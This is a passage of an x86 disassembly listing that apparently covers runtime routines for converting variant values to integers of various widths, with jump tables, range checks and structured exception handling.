; ---------------------------------------------------------------------------


loc_4000F04C:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 3
		mov	eax, [eax+8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F05C:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 4
		mov	eax, [eax+8]
		fld	dword ptr [eax]
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000F077
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F077:				; CODE XREF: sub_4000ED90+2E0j
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F07F:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 5
		mov	eax, [eax+8]
		fld	qword ptr [eax]
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000F09A
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F09A:				; CODE XREF: sub_4000ED90+303j
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F0A2:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 6
		mov	eax, [eax+8]
		fild	qword ptr [eax]
		fdiv	ds:flt_4000F1DC
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000F0C3
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F0C3:				; CODE XREF: sub_4000ED90+32Cj
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F0CB:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 7
		mov	eax, [eax+8]
		fld	qword ptr [eax]
		call	sub_400030A8
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000F0E6
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F0E6:				; CODE XREF: sub_4000ED90+34Fj
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F0EE:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 8
		call	sub_4000EBF8
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F0FE:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 11
		mov	eax, [eax+8]
		movsx	eax, word ptr [eax]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F10F:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 16
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_8], eax
		jmp	loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F120:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 17
		mov	eax, [eax+8]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_8], eax
		jmp	short loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F12E:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 18
		mov	eax, [eax+8]
		movzx	eax, word ptr [eax]
		mov	[ebp+var_8], eax
		jmp	short loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F13C:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 19
		mov	eax, [eax+8]
		mov	eax, [eax]
		test	eax, eax
		jns	short loc_4000F14D
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F14D:				; CODE XREF: sub_4000ED90+3B6j
		mov	[ebp+var_8], eax
		jmp	short loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F152:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 20
		mov	eax, [eax+8]
		mov	edx, [eax+4]
		mov	eax, [eax]
		push	eax
		sar	eax, 1Fh
		cmp	eax, edx
		pop	eax
		jz	short loc_4000F16B
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F16B:				; CODE XREF: sub_4000ED90+3D4j
		mov	[ebp+var_8], eax
		jmp	short loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F170:				; CODE XREF: sub_4000ED90+250j
					; DATA XREF: sub_4000ED90:off_4000EFE7o
		mov	eax, [ebp+var_4] ; jumptable 4000EFE0 case 12
		mov	eax, [eax+8]
		call	sub_4000ED90
		mov	[ebp+var_8], eax
		jmp	short loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F180:				; CODE XREF: sub_4000ED90+24Aj
					; sub_4000ED90+250j
					; DATA XREF: ...
		mov	eax, [ebp+var_4] ; default
					; jumptable 4000EFE0 cases 0,1,9,10,13-15
		call	sub_4000ECAC
		mov	[ebp+var_8], eax
		jmp	short loc_4000F1A7
; ---------------------------------------------------------------------------


loc_4000F18D:				; CODE XREF: sub_4000ED90+236j
		lea	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	sub_4000ED4C
		test	al, al
		jnz	short loc_4000F1A7
		mov	eax, [ebp+var_4]
		call	sub_4000ECAC
		mov	[ebp+var_8], eax


loc_4000F1A7:				; CODE XREF: sub_4000ED90+8Cj
					; sub_4000ED90+ACj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000F1CF
; ---------------------------------------------------------------------------


loc_4000F1B1:				; DATA XREF: sub_4000ED90+Fo
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 3
		call	sub_4000E068
		xor	eax, eax
		mov	[ebp+var_8], eax
		call	sub_40004360


loc_4000F1CF:				; CODE XREF: sub_4000ED90+41Fj
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4000ED90	endp

; ---------------------------------------------------------------------------
		align 4
flt_4000F1DC	dd 1.0e4		; DATA XREF: sub_4000ED90+116r
					; sub_4000ED90+31Ar

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F1E0	proc near		; CODE XREF: sub_4000E9CC+187p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		sub	ax, 1
		jb	short loc_4000F206
		jz	short loc_4000F20A
		sub	ax, 0Ah
		jz	short loc_4000F224
		sub	ax, 5
		jz	short loc_4000F22D
		jmp	short loc_4000F236
; ---------------------------------------------------------------------------


loc_4000F206:				; CODE XREF: sub_4000F1E0+14j
		xor	ebx, ebx
		jmp	short loc_4000F289
; ---------------------------------------------------------------------------


loc_4000F20A:				; CODE XREF: sub_4000F1E0+16j
		cmp	byte_4001AA10, 0
		jz	short loc_4000F220
		mov	dx, 10h
		mov	ax, 1
		call	sub_4000DBF4


loc_4000F220:				; CODE XREF: sub_4000F1E0+31j
		xor	ebx, ebx
		jmp	short loc_4000F289
; ---------------------------------------------------------------------------


loc_4000F224:				; CODE XREF: sub_4000F1E0+1Cj
		mov	ebx, [ebp+var_4]
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F289
; ---------------------------------------------------------------------------


loc_4000F22D:				; CODE XREF: sub_4000F1E0+22j
		mov	ebx, [ebp+var_4]
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F289
; ---------------------------------------------------------------------------


loc_4000F236:				; CODE XREF: sub_4000F1E0+24j
		xor	eax, eax
		push	ebp
		push	offset loc_4000F26E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4000ED90
		mov	ebx, eax
		add	ebx, 80h
		cmp	ebx, 0FFh
		jbe	short loc_4000F261
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F261:				; CODE XREF: sub_4000F1E0+7Aj
		add	ebx, 0FFFFFF80h
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000F289
; ---------------------------------------------------------------------------


loc_4000F26E:				; DATA XREF: sub_4000F1E0+59o
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 10h
		call	sub_4000E068
		xor	ebx, ebx
		call	sub_40004360


loc_4000F289:				; CODE XREF: sub_4000F1E0+28j
					; sub_4000F1E0+42j ...
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000F1E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F294	proc near		; CODE XREF: sub_4000E9CC+19Cp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		sub	ax, 1
		jb	short loc_4000F2BA
		jz	short loc_4000F2BE
		sub	ax, 0Ah
		jz	short loc_4000F2D8
		sub	ax, 6
		jz	short loc_4000F2E1
		jmp	short loc_4000F2EA
; ---------------------------------------------------------------------------


loc_4000F2BA:				; CODE XREF: sub_4000F294+14j
		xor	ebx, ebx
		jmp	short loc_4000F334
; ---------------------------------------------------------------------------


loc_4000F2BE:				; CODE XREF: sub_4000F294+16j
		cmp	byte_4001AA10, 0
		jz	short loc_4000F2D4
		mov	dx, 11h
		mov	ax, 1
		call	sub_4000DBF4


loc_4000F2D4:				; CODE XREF: sub_4000F294+31j
		xor	ebx, ebx
		jmp	short loc_4000F334
; ---------------------------------------------------------------------------


loc_4000F2D8:				; CODE XREF: sub_4000F294+1Cj
		mov	ebx, [ebp+var_4]
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F334
; ---------------------------------------------------------------------------


loc_4000F2E1:				; CODE XREF: sub_4000F294+22j
		mov	ebx, [ebp+var_4]
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F334
; ---------------------------------------------------------------------------


loc_4000F2EA:				; CODE XREF: sub_4000F294+24j
		xor	eax, eax
		push	ebp
		push	offset loc_4000F319
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4000ED90
		mov	ebx, eax
		cmp	ebx, 0FFh
		jbe	short loc_4000F30F
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F30F:				; CODE XREF: sub_4000F294+74j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000F334
; ---------------------------------------------------------------------------


loc_4000F319:				; DATA XREF: sub_4000F294+59o
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 11h
		call	sub_4000E068
		xor	ebx, ebx
		call	sub_40004360


loc_4000F334:				; CODE XREF: sub_4000F294+28j
					; sub_4000F294+42j ...
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000F294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F33C	proc near		; CODE XREF: sub_4000E9CC+D2p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		cmp	eax, 11h	; switch 18 cases
		ja	loc_4000F3D6	; default
					; jumptable 4000F35C cases 3-10,12-15
		movzx	eax, ds:byte_4000F363[eax]
		jmp	ds:off_4000F375[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
byte_4000F363	db	1,     2,     3,     0 ; DATA XREF: sub_4000F33C+19r
		db	0,     0,     0,     0 ; indirect table	for switch statement
		db	0,     0,     0,     4
		db	0,     0,     0,     0
		db	5,     6
off_4000F375	dd offset loc_4000F3D6	; DATA XREF: sub_4000F33C+20r
		dd offset loc_4000F391	; jump table for switch	statement
		dd offset loc_4000F398
		dd offset loc_4000F3B2
		dd offset loc_4000F3BB
		dd offset loc_4000F3C4
		dd offset loc_4000F3CD
; ---------------------------------------------------------------------------


loc_4000F391:				; CODE XREF: sub_4000F33C+20j
					; DATA XREF: sub_4000F33C:off_4000F375o
		xor	ebx, ebx	; jumptable 4000F35C case 0
		jmp	loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F398:				; CODE XREF: sub_4000F33C+20j
					; DATA XREF: sub_4000F33C:off_4000F375o
		cmp	byte_4001AA10, 0 ; jumptable 4000F35C case 1
		jz	short loc_4000F3AE
		mov	dx, 2
		mov	ax, 1
		call	sub_4000DBF4


loc_4000F3AE:				; CODE XREF: sub_4000F33C+63j
		xor	ebx, ebx
		jmp	short loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F3B2:				; CODE XREF: sub_4000F33C+20j
					; DATA XREF: sub_4000F33C:off_4000F375o
		mov	ebx, [ebp+var_4] ; jumptable 4000F35C case 2
		movzx	ebx, word ptr [ebx+8]
		jmp	short loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F3BB:				; CODE XREF: sub_4000F33C+20j
					; DATA XREF: sub_4000F33C:off_4000F375o
		mov	ebx, [ebp+var_4] ; jumptable 4000F35C case 11
		movzx	ebx, word ptr [ebx+8]
		jmp	short loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F3C4:				; CODE XREF: sub_4000F33C+20j
					; DATA XREF: sub_4000F33C:off_4000F375o
		mov	ebx, [ebp+var_4] ; jumptable 4000F35C case 16
		movsx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F3CD:				; CODE XREF: sub_4000F33C+20j
					; DATA XREF: sub_4000F33C:off_4000F375o
		mov	ebx, [ebp+var_4] ; jumptable 4000F35C case 17
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F3D6:				; CODE XREF: sub_4000F33C+13j
					; sub_4000F33C+20j
					; DATA XREF: ...
		xor	eax, eax	; default
					; jumptable 4000F35C cases 3-10,12-15
		push	ebp
		push	offset loc_4000F411
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4000ED90
		mov	ebx, eax
		add	ebx, 8000h
		cmp	ebx, 0FFFFh
		jbe	short loc_4000F401
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F401:				; CODE XREF: sub_4000F33C+BEj
		add	ebx, 0FFFF8000h
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000F42C
; ---------------------------------------------------------------------------


loc_4000F411:				; DATA XREF: sub_4000F33C+9Do
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 2
		call	sub_4000E068
		xor	ebx, ebx
		call	sub_40004360


loc_4000F42C:				; CODE XREF: sub_4000F33C+57j
					; sub_4000F33C+74j ...
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000F33C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F434	proc near		; CODE XREF: sub_4000E9CC+1AEp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		cmp	eax, 12h	; switch 19 cases
		ja	short loc_4000F4BB ; default
					; jumptable 4000F450 cases 2-10,12-16
		movzx	eax, ds:byte_4000F457[eax]
		jmp	ds:off_4000F46A[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
byte_4000F457	db	1,     2,     0,     0 ; DATA XREF: sub_4000F434+15r
		db	0,     0,     0,     0 ; indirect table	for switch statement
		db	0,     0,     0,     3
		db	0,     0,     0,     0
		db	0,     4,     5
off_4000F46A	dd offset loc_4000F4BB	; DATA XREF: sub_4000F434+1Cr
		dd offset loc_4000F482	; jump table for switch	statement
		dd offset loc_4000F486
		dd offset loc_4000F4A0
		dd offset loc_4000F4A9
		dd offset loc_4000F4B2
; ---------------------------------------------------------------------------


loc_4000F482:				; CODE XREF: sub_4000F434+1Cj
					; DATA XREF: sub_4000F434:off_4000F46Ao
		xor	ebx, ebx	; jumptable 4000F450 case 0
		jmp	short loc_4000F505
; ---------------------------------------------------------------------------


loc_4000F486:				; CODE XREF: sub_4000F434+1Cj
					; DATA XREF: sub_4000F434:off_4000F46Ao
		cmp	byte_4001AA10, 0 ; jumptable 4000F450 case 1
		jz	short loc_4000F49C
		mov	dx, 12h
		mov	ax, 1
		call	sub_4000DBF4


loc_4000F49C:				; CODE XREF: sub_4000F434+59j
		xor	ebx, ebx
		jmp	short loc_4000F505
; ---------------------------------------------------------------------------


loc_4000F4A0:				; CODE XREF: sub_4000F434+1Cj
					; DATA XREF: sub_4000F434:off_4000F46Ao
		mov	ebx, [ebp+var_4] ; jumptable 4000F450 case 11
		movzx	ebx, word ptr [ebx+8]
		jmp	short loc_4000F505
; ---------------------------------------------------------------------------


loc_4000F4A9:				; CODE XREF: sub_4000F434+1Cj
					; DATA XREF: sub_4000F434:off_4000F46Ao
		mov	ebx, [ebp+var_4] ; jumptable 4000F450 case 17
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F505
; ---------------------------------------------------------------------------


loc_4000F4B2:				; CODE XREF: sub_4000F434+1Cj
					; DATA XREF: sub_4000F434:off_4000F46Ao
		mov	ebx, [ebp+var_4] ; jumptable 4000F450 case 18
		movzx	ebx, word ptr [ebx+8]
		jmp	short loc_4000F505
; ---------------------------------------------------------------------------


loc_4000F4BB:				; CODE XREF: sub_4000F434+13j
					; sub_4000F434+1Cj
					; DATA XREF: ...
		xor	eax, eax	; default
					; jumptable 4000F450 cases 2-10,12-16
		push	ebp
		push	offset loc_4000F4EA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4000ED90
		mov	ebx, eax
		cmp	ebx, 0FFFFh
		jbe	short loc_4000F4E0
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F4E0:				; CODE XREF: sub_4000F434+A5j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000F505
; ---------------------------------------------------------------------------


loc_4000F4EA:				; DATA XREF: sub_4000F434+8Ao
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 12h
		call	sub_4000E068
		xor	ebx, ebx
		call	sub_40004360


loc_4000F505:				; CODE XREF: sub_4000F434+50j
					; sub_4000F434+6Aj ...
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000F434	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F510	proc near		; CODE XREF: sub_4000E9CC+1C0p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		cmp	eax, 13h	; switch 20 cases
		ja	loc_4000F5AB	; default
					; jumptable 4000F530 cases 2-10,12-16
		movzx	eax, ds:byte_4000F537[eax]
		jmp	ds:off_4000F54B[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
byte_4000F537	db	1,     2,     0,     0 ; DATA XREF: sub_4000F510+19r
		db	0,     0,     0,     0 ; indirect table	for switch statement
		db	0,     0,     0,     3
		db	0,     0,     0,     0
		db	0,     4,     5,     6
off_4000F54B	dd offset loc_4000F5AB	; DATA XREF: sub_4000F510+20r
		dd offset loc_4000F567	; jump table for switch	statement
		dd offset loc_4000F56E
		dd offset loc_4000F588
		dd offset loc_4000F591
		dd offset loc_4000F59A
		dd offset loc_4000F5A3
; ---------------------------------------------------------------------------


loc_4000F567:				; CODE XREF: sub_4000F510+20j
					; DATA XREF: sub_4000F510:off_4000F54Bo
		xor	ebx, ebx	; jumptable 4000F530 case 0
		jmp	loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F56E:				; CODE XREF: sub_4000F510+20j
					; DATA XREF: sub_4000F510:off_4000F54Bo
		cmp	byte_4001AA10, 0 ; jumptable 4000F530 case 1
		jz	short loc_4000F584
		mov	dx, 13h
		mov	ax, 1
		call	sub_4000DBF4


loc_4000F584:				; CODE XREF: sub_4000F510+65j
		xor	ebx, ebx
		jmp	short loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F588:				; CODE XREF: sub_4000F510+20j
					; DATA XREF: sub_4000F510:off_4000F54Bo
		mov	ebx, [ebp+var_4] ; jumptable 4000F530 case 11
		movsx	ebx, word ptr [ebx+8]
		jmp	short loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F591:				; CODE XREF: sub_4000F510+20j
					; DATA XREF: sub_4000F510:off_4000F54Bo
		mov	ebx, [ebp+var_4] ; jumptable 4000F530 case 17
		movzx	ebx, byte ptr [ebx+8]
		jmp	short loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F59A:				; CODE XREF: sub_4000F510+20j
					; DATA XREF: sub_4000F510:off_4000F54Bo
		mov	ebx, [ebp+var_4] ; jumptable 4000F530 case 18
		movzx	ebx, word ptr [ebx+8]
		jmp	short loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F5A3:				; CODE XREF: sub_4000F510+20j
					; DATA XREF: sub_4000F510:off_4000F54Bo
		mov	ebx, [ebp+var_4] ; jumptable 4000F530 case 19
		mov	ebx, [ebx+8]
		jmp	short loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F5AB:				; CODE XREF: sub_4000F510+13j
					; sub_4000F510+20j
					; DATA XREF: ...
		xor	eax, eax	; default
					; jumptable 4000F530 cases 2-10,12-16
		push	ebp
		push	offset loc_4000F5D6
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4000F860
		test	edx, edx
		jz	short loc_4000F5CA
		call	sub_40003C64
; ---------------------------------------------------------------------------


loc_4000F5CA:				; CODE XREF: sub_4000F510+B3j
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000F5F1
; ---------------------------------------------------------------------------


loc_4000F5D6:				; DATA XREF: sub_4000F510+9Eo
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	dx, 13h
		call	sub_4000E068
		xor	ebx, ebx
		call	sub_40004360


loc_4000F5F1:				; CODE XREF: sub_4000F510+59j
					; sub_4000F510+76j ...
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000F510	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000F5FC	proc near		; CODE XREF: sub_4000F860+1E7p
					; sub_4000F860+3D8p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= qword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFE8h
		mov	ebx, eax
		lea	eax, [esp+1Ch+var_14]
		push	eax
		call	sub_4000CDD8
		push	3
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+2Ch+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jnz	short loc_4000F636
		mov	eax, dword ptr [esp+1Ch+var_C]
		cdq
		mov	[esp+1Ch+var_1C], eax
		mov	[esp+1Ch+var_18], edx
		jmp	short loc_4000F69B
; ---------------------------------------------------------------------------


loc_4000F636:				; CODE XREF: sub_4000F5FC+2Aj
		push	5
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+2Ch+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jnz	short loc_4000F664
		fld	[esp+1Ch+var_C]
		call	sub_400030A8
		mov	[esp+1Ch+var_1C], eax
		mov	[esp+1Ch+var_18], edx
		jmp	short loc_4000F69B
; ---------------------------------------------------------------------------


loc_4000F664:				; CODE XREF: sub_4000F5FC+54j
		cmp	eax, 80020005h
		jnz	short loc_4000F680
		mov	eax, ebx
		call	sub_4000FE58
		and	eax, 7Fh
		xor	edx, edx
		mov	[esp+1Ch+var_1C], eax
		mov	[esp+1Ch+var_18], edx
		jmp	short loc_4000F69B
; ---------------------------------------------------------------------------


loc_4000F680:				; CODE XREF: sub_4000F5FC+6Dj
		movzx	edx, word ptr [ebx]
		mov	cx, 14h
		call	sub_4000E034
		mov	[esp+1Ch+var_1C], 0
		mov	[esp+1Ch+var_18], 0


loc_4000F69B:				; CODE XREF: sub_4000F5FC+38j
					; sub_4000F5FC+66j ...
		mov	eax, [esp+1Ch+var_1C]
		mov	edx, [esp+1Ch+var_18]
		add	esp, 18h
		pop	ebx
		retn
sub_4000F5FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000F6A8	proc near		; CODE XREF: sub_4000F860+149p
					; sub_4000F860+20Dp ...

var_24		= dword	ptr -24h
var_20		= qword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		xor	edx, edx
		mov	[ebp+var_24], edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000F796
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		lea	eax, [ebp+var_24]
		mov	edx, [ebp+var_4]
		call	sub_40004B0C
		mov	eax, [ebp+var_24]
		lea	edx, [ebp+var_10]
		call	sub_40007E0C
		test	al, al
		jnz	loc_4000F778
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001B0B0
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jnz	short loc_4000F717
		mov	eax, [ebp+var_14]
		cdq
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000F778
; ---------------------------------------------------------------------------


loc_4000F717:				; CODE XREF: sub_4000F6A8+61j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		push	400h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, off_4001AFF0
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jnz	short loc_4000F743
		fld	[ebp+var_20]
		call	sub_400030A8
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000F778
; ---------------------------------------------------------------------------


loc_4000F743:				; CODE XREF: sub_4000F6A8+89j
		cmp	eax, 80020005h
		jnz	short loc_4000F75E
		mov	eax, ebx
		call	sub_4000FE58
		and	eax, 7Fh
		xor	edx, edx
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx
		jmp	short loc_4000F778
; ---------------------------------------------------------------------------


loc_4000F75E:				; CODE XREF: sub_4000F6A8+A0j
		movzx	edx, word ptr [ebx]
		mov	cx, 14h
		call	sub_4000E034
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0


loc_4000F778:				; CODE XREF: sub_4000F6A8+41j
					; sub_4000F6A8+6Dj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000F79D


loc_4000F785:				; CODE XREF: sub_4000F6A8+F3j
		lea	eax, [ebp+var_24]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_4000F796:				; DATA XREF: sub_4000F6A8+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000F785
; ---------------------------------------------------------------------------


loc_4000F79D:				; CODE XREF: sub_4000F6A8+EDj
					; DATA XREF: sub_4000F6A8+D8o
